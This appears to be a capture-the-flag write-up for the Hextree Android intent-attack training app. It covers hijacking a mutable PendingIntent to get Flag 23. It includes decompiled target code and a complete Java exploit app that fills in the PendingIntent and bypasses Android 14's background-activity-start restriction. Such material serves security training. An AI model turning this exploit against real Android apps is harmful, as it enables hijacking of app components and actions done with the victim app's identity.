Static Analysis
AndroidManifest.xml
Upon inspecting the Flag23Activity in the AndroidManifest.xml file we see the following
<activity
android:name="io.hextree.attacksurface.activities.Flag23Activity"
android:exported="false"/>Since exported is set to false we can’t call this activity from our exploit apk, but as we saw in Flag5Activity we can use it to be our pivot activity
Flag23Activity Class
public class Flag23Activity extends AppCompactActivity {
public Flag23Activity() {
this.name = "Flag 23 - Hijack pending intent";
this.tag = "PendingIntent";
this.tagColor = R.color.red;
this.flag = "6GqvZ4aOjqNSTlaifb21GPQlHbYwe6S/PkRgfYdLod0Q+Y7QTu55zAs3eixaRA6V";
this.allowOpenActivity = true;
}
@Override // io.hextree.attacksurface.AppCompactActivity, androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
protected void onCreate(Bundle bundle) {
super.onCreate(bundle);
this.f = new LogHelper(this);
Intent intent = getIntent();
String action = intent.getAction();
if (action == null) {
Toast.makeText(this, "Sending implicit intent with the flag\nio.hextree.attacksurface.MUTATE_ME", 1).show();
Intent intent2 = new Intent("io.hextree.attacksurface.GIVE_FLAG");
intent2.setClassName(getPackageName(), Flag23Activity.class.getCanonicalName());
PendingIntent activity = PendingIntent.getActivity(getApplicationContext(), 0, intent2, 33554432);
Intent intent3 = new Intent("io.hextree.attacksurface.MUTATE_ME");
intent3.addFlags(8);
intent3.putExtra("pending_intent", activity);
this.f.addTag(intent3);
Log.i("Flag22Activity", intent3.toString());
startActivity(intent3);
return;
}
if (action.equals("io.hextree.attacksurface.GIVE_FLAG")) {
this.f.addTag(action);
if (intent.getIntExtra("code", -1) == 42) {
this.f.addTag(42);
success(this);
} else {
Toast.makeText(this, "Condition not met for flag", 0).show();
}
}
}
}Upon reviewing the code the first thing we see is that the Acitivity sends an implicit intent to io.hextree.attacksurface.MUTATE_ME that intent contains a pending intent which will help us getting the flag,
in the code the condition to success is when we return the pending intent with an ExtraInt equals to 42, let’s write the POC
Creating POC
Flag23.java
public class Flag23 extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_flag23);
getSupportActionBar().setTitle("Flag 23");
///////////////////////////////
// BUTTON TO INITIATE ATTACK //
//////////////////////////////
Button button = findViewById(R.id.button_flag23);
button.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Log.v("HEXTREE", "Going to flag 23 activity");
// 1. Create the initial intent to start the process with Flag23Activity
Intent targetIntent = new Intent();
targetIntent.setComponent(new ComponentName("io.hextree.attacksurface",
"io.hextree.attacksurface.activities.Flag23Activity"));
// 2. Use the PivotIntent utility to wrap the intent for the attack chain
// Read more about this function in Flag6 writeup
Intent pivot = PivotIntent.create(targetIntent);
// 3. Start the activity chain
startActivity(pivot);
}
});
///////////////////////////////////////////////////////////////
// RECEIVING PENDINGINTENT & SENDING PAYLOAD TO GET THE FLAG //
///////////////////////////////////////////////////////////////
if (getIntent() != null && getIntent().hasExtra("pending_intent")) {
Intent intent = getIntent();
// Display the received flag, if any
Utils.showDialog(this, intent);
// Extract the PendingIntent sent by the target application
PendingIntent pendingIntent = intent.getParcelableExtra("pending_intent");
if (pendingIntent != null) {
try {
Log.v("Flag23 - Debug", "Preparing Payload to send via PendingIntent...");
// 1. Create the malicious intent that will be sent using the PendingIntent.
// This intent will ask Flag23Activity to give us the flag.
Intent mutableIntent = new Intent();
mutableIntent.putExtra("code", 42); // A required extra for the target.
// 2. This is the critical fix for Android 14+ (Upside Down Cake).
/*
Apps are restricted from starting activities from the background (BAL).
We are in the foreground, so we can grant a temporary permission slip
to the background app (Hextree) to start an activity on our behalf.
*/
android.app.ActivityOptions options = android.app.ActivityOptions.makeBasic();
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.UPSIDE_DOWN_CAKE) {
options.setPendingIntentBackgroundActivityStartMode(
ActivityOptions.MODE_BACKGROUND_ACTIVITY_START_ALLOWED
);
}
Log.v("Flag23 - Debug", "Sending pendingIntent with BAL Permission...");
// 3. Trigger the PendingIntent, sending our malicious 'mutableIntent' as the fill-in.
// We pass the special 'options' bundle to grant the BAL permission.
pendingIntent.send(this, 0, mutableIntent, null, null, null, options.toBundle());
} catch (Exception e) {
Log.e("Flag23", "Exploit Failed", e);
Toast.makeText(this, "Exploit Failed: " + e.getMessage(), Toast.LENGTH_LONG).show();
}
}
}
}
}I actually had some trouble creating the POC, the problem was as follows:
- I can get the flag if I started the
Flag23Activityfrom theIntent Attack Surfaceapp - I can’t get the flag from my
Attackingapp The problem wasn’t in the code logic itself it was in the android version I’m using which is Android 14 (Applies for any version newer than it also which meansAPI 34+) Here’s why the problem happened:
The Problem:
You (Attacker App) are in the Foreground. The PendingIntent belongs to the Vulnerable App, which is in the Background.
Android 13 and older
If you triggered that PendingIntent, Android would say: “The user is interacting with the Attacker App, so I guess it’s okay to launch this activity.”
Android 14 / API 34+
Google realized this behavior was dangerous (it allowed background apps to hijack the user’s focus). They changed the rules. Now, when you call
pendingIntent.send(), Android checks the identity of the creator of that intent (the Vulnerable App).
So what happen is:
- Android sees the creator is in the background.
- Android blocks the launch to prevent “Popup Spam.”
- Result: The vulnerability exists, but the OS refuses to let the window open.
So to fix that we need to pass
ActivityOptions.MODE_BACKGROUND_ACTIVITY_START_ALLOWED, we create a “Permission Slip.” You are explicitly telling the Android OS: “I am the current Foreground App, and I authorize the owner of this PendingIntent to open a window right now, even though they are in the background.”
Flag
HXT{teenage-mutable-intent-turtles-s2df}